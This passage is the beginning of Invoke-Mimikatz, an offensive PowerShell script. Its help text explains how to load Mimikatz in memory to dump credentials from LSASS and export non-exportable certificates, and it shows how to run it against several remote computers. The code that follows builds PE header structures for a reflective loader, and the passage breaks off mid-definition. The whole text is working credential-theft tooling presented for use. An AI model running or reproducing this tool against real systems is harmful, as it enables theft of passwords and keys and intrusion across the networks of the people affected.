function Invoke-Mimikatz { <# .SYNOPSIS This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers. This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed. Function: Invoke-Mimikatz Author: Joe Bialek, Twitter: @JosephBialek Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None Version: 1.5 ReflectivePEInjection version: 1.1 Mimikatz version: 2.0 alpha (2/16/2015) .DESCRIPTION Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. .PARAMETER DumpCreds Switch: Use mimikatz to dump credentials out of LSASS. .PARAMETER DumpCerts Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable). .PARAMETER Command Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example. .PARAMETER ComputerName Optional, an array of computernames to run the script on. .EXAMPLE Execute mimikatz on the local computer to dump certificates. Invoke-Mimikatz -DumpCerts .EXAMPLE Execute mimikatz on two remote computers to dump credentials. Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") .EXAMPLE Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" .NOTES This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection Find mimikatz at: http://blog.gentilkiwi.com .LINK Blog: http://clymb3r.wordpress.com/ Benjamin DELPY blog: http://blog.gentilkiwi.com Github repo: https://github.com/clymb3r/PowerShell mimikatz Github repo: https://github.com/gentilkiwi/mimikatz Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ #> [CmdletBinding(DefaultParameterSetName="DumpCreds")] Param( [Parameter(Position = 0)] [String[]] $ComputerName, [Parameter(ParameterSetName = "DumpCreds", Position = 1)] [Switch] $DumpCreds, [Parameter(ParameterSetName = "DumpCerts", Position = 1)] [Switch] $DumpCerts, [Parameter(ParameterSetName = "CustomCommand", Position = 1)] [String] $Command ) Set-StrictMode -Version 2 $RemoteScriptBlock = { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [String] $PEBytes64, [Parameter(Position = 1, Mandatory = $true)] [String] $PEBytes32, [Parameter(Position = 2, Mandatory = $false)] [String] $FuncReturnType, [Parameter(Position = 3, Mandatory = $false)] [Int32] $ProcId, [Parameter(Position = 4, Mandatory = $false)] [String] $ProcName, [Parameter(Position = 5, Mandatory = $false)] [String] $ExeArgs ) ################################### ########## Win32 Stuff ########## ################################### Function Get-Win32Types { $Win32Types = New-Object System.Object #Define all the structures/enums that will be used # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] ############ ENUM ############ #Enum MachineType $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType #Enum MagicType $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType #Enum SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType #Enum DllCharacteristicsType $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType ########### STRUCT ########### #Struct IMAGE_DATA_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY #Struct IMAGE_FILE_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER #Struct IMAGE_OPTIONAL_HEADER64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 #Struct IMAGE_OPTIONAL_HEADER32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 #Struct IMAGE_NT_HEADERS64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 #Struct IMAGE_NT_HEADERS32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 #Struct IMAGE_DOS_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER #Struct IMAGE_SECTION_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER #Struct IMAGE_BASE_RELOCATION $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION #Struct IMAGE_IMPORT_DESCRIPTOR $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR #Struct IMAGE_EXPORT_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY #Struct LUID $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null $LUID = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID #Struct LUID_AND_ATTRIBUTES $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES #Struct 